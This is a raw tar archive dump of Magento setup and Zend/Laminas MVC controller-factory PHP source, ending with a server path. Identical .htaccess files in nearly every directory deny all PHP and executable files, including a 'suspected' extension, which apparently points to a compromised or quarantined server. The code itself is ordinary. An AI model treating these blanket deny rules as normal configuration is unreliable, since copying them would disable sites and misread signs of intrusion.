'order' ], 'limit' => [ 'renderer' => new \Magento\Framework\DB\Select\LimitRenderer(), 'sort' => 900, 'part' => 'limitcount' ], 'for_update' => [ 'renderer' => new \Magento\Framework\DB\Select\ForUpdateRenderer(), 'sort' => 1000, 'part' => 'forupdate' ], ] ) ); $objectManagerProvider = $this->serviceLocator->get(\Magento\Setup\Model\ObjectManagerProvider::class); $mysqlFactory = new \Magento\Framework\DB\Adapter\Pdo\MysqlFactory($objectManagerProvider->get()); $resourceInstance = new Mysql($connectionConfig, $mysqlFactory); return $resourceInstance->getConnection( $this->serviceLocator->get(\Magento\Framework\DB\Logger\Quiet::class), $selectFactory ); } } Magento/Setup/Module/.htaccess000077700000000177151323623130012274 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/.htaccess000077700000000177151323623130007747 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Zend/.htaccess000077700000000177151323623130007255 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Zend/Mvc/Controller/LazyControllerAbstractFactory.php000077700000016572151323623130017045 0ustar00<?php /** * @link http://github.com/laminas/laminas-mvc for the canonical source repository * @copyright Copyright (c) 2005-2018 Zend Technologies USA Inc. (http://www.zend.com) * @license https://github.com/laminas/laminas-mvc/blob/master/LICENSE.md New BSD License * @SuppressWarnings(PHPMD) */ declare(strict_types=1); namespace Zend\Mvc\Controller; use Interop\Container\ContainerInterface; use Laminas\Console\Adapter\AdapterInterface as ConsoleAdapterInterface; use Laminas\Filter\FilterPluginManager; use Laminas\Hydrator\HydratorPluginManager; use Laminas\InputFilter\InputFilterPluginManager; use Laminas\Log\FilterPluginManager as LogFilterManager; use Laminas\Log\FormatterPluginManager as LogFormatterManager; use Laminas\Log\ProcessorPluginManager as LogProcessorManager; use Laminas\Log\WriterPluginManager as LogWriterManager; use Laminas\Serializer\AdapterPluginManager as SerializerAdapterManager; use Laminas\ServiceManager\AbstractFactoryInterface; use Laminas\ServiceManager\Exception\ServiceNotFoundException; use Laminas\ServiceManager\ServiceLocatorInterface; use Laminas\Stdlib\DispatchableInterface; use Laminas\Validator\ValidatorPluginManager; use ReflectionClass; use ReflectionParameter; /** * Reflection-based factory for controllers. * * To ease development, this factory may be used for controllers with * type-hinted arguments that resolve to services in the application * container; this allows omitting the step of writing a factory for * each controller. * * You may use it as either an abstract factory: * * <code> * 'controllers' => [ * 'abstract_factories' => [ * LazyControllerAbstractFactory::class, * ], * ], * </code> * * Or as a factory, mapping a controller class name to it: * * <code> * 'controllers' => [ * 'factories' => [ * MyControllerWithDependencies::class => LazyControllerAbstractFactory::class, * ], * ], * </code> * * The latter approach is more explicit, and also more performant. * * The factory has the following constraints/features: * * - A parameter named `$config` typehinted as an array will receive the * application "config" service (i.e., the merged configuration). * - Parameters type-hinted against array, but not named `$config` will * be injected with an empty array. * - Scalar parameters will be resolved as null values. * - If a service cannot be found for a given typehint, the factory will * raise an exception detailing this. * - Some services provided by Zend Framework components do not have * entries based on their class name (for historical reasons); the * factory contains a map of these class/interface names to the * corresponding service name to allow them to resolve. * * `$options` passed to the factory are ignored in all cases, as we cannot * make assumptions about which argument(s) they might replace. */ class LazyControllerAbstractFactory implements AbstractFactoryInterface { /** * Maps known classes/interfaces to the service that provides them; only * required for those services with no entry based on the class/interface * name. * * Extend the class if you wish to add to the list. * * @var string[] */ protected $aliases = [ ConsoleAdapterInterface::class => 'ConsoleAdapter', FilterPluginManager::class => 'FilterManager', HydratorPluginManager::class => 'HydratorManager', InputFilterPluginManager::class => 'InputFilterManager', LogFilterManager::class => 'LogFilterManager', LogFormatterManager::class => 'LogFormatterManager', LogProcessorManager::class => 'LogProcessorManager', LogWriterManager::class => 'LogWriterManager', SerializerAdapterManager::class => 'SerializerAdapterManager', ValidatorPluginManager::class => 'ValidatorManager', ]; /** * @inheritDoc * * @return DispatchableInterface * @throws \ReflectionException */ public function __invoke(ContainerInterface $container, $requestedName, array $options = null) { $reflectionClass = new ReflectionClass($requestedName); if (null === ($constructor = $reflectionClass->getConstructor())) { return new $requestedName(); } $reflectionParameters = $constructor->getParameters(); if (empty($reflectionParameters)) { return new $requestedName(); } $parameters = array_map( $this->resolveParameter($container->getServiceLocator(), $requestedName), $reflectionParameters ); return new $requestedName(...$parameters); } /** * @inheritDoc */ public function canCreate(ContainerInterface $container, $requestedName) { if (! class_exists($requestedName)) { return false; } return in_array(DispatchableInterface::class, class_implements($requestedName), true); } /** * Resolve a parameter to a value. * * Returns a callback for resolving a parameter to a value. * * @param ContainerInterface $container * @param string $requestedName * @return callable */ private function resolveParameter(ContainerInterface $container, $requestedName) { /** * @param ReflectionClass $parameter * @return mixed * @throws ServiceNotFoundException If type-hinted parameter cannot be * resolved to a service in the container. */ return function (ReflectionParameter $parameter) use ($container, $requestedName) { if ($parameter->isArray() && $parameter->getName() === 'config' && $container->has('config') ) { return $container->get('config'); } if ($parameter->isArray()) { return []; } if (! $parameter->getClass()) { return null; } $type = $parameter->getClass()->getName(); $type = isset($this->aliases[$type]) ? $this->aliases[$type] : $type; if (! $container->has($type)) { throw new ServiceNotFoundException(sprintf( 'Unable to create controller "%s"; unable to resolve parameter "%s" using type hint "%s"', $requestedName, $parameter->getName(), $type )); } return $container->get($type); }; } /** * Determine if we can create a service with name * * @param ServiceLocatorInterface $serviceLocator * phpcs:disable * @param $name * @param $requestedName * phpcs:enable * @return bool * @SuppressWarnings("unused") */ public function canCreateServiceWithName(ServiceLocatorInterface $serviceLocator, $name, $requestedName) { return $this->canCreate($serviceLocator, $requestedName); } /** * Create service with name * * @param ServiceLocatorInterface $serviceLocator * phpcs:disable * @param $name * @param $requestedName * phpcs:enable * @return mixed * @SuppressWarnings("unused") * @throws \ReflectionException */ public function createServiceWithName(ServiceLocatorInterface $serviceLocator, $name, $requestedName) { return $this($serviceLocator, $requestedName); } } Zend/Mvc/Controller/.htaccess000077700000000177151323623130012125 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Zend/Mvc/.htaccess000077700000000177151323623130010002 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>.htaccess000077700000000177151323623130006355 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>
/var/www/html/dhandapani/a8fc6/../bef9b/../8feeb/src.tar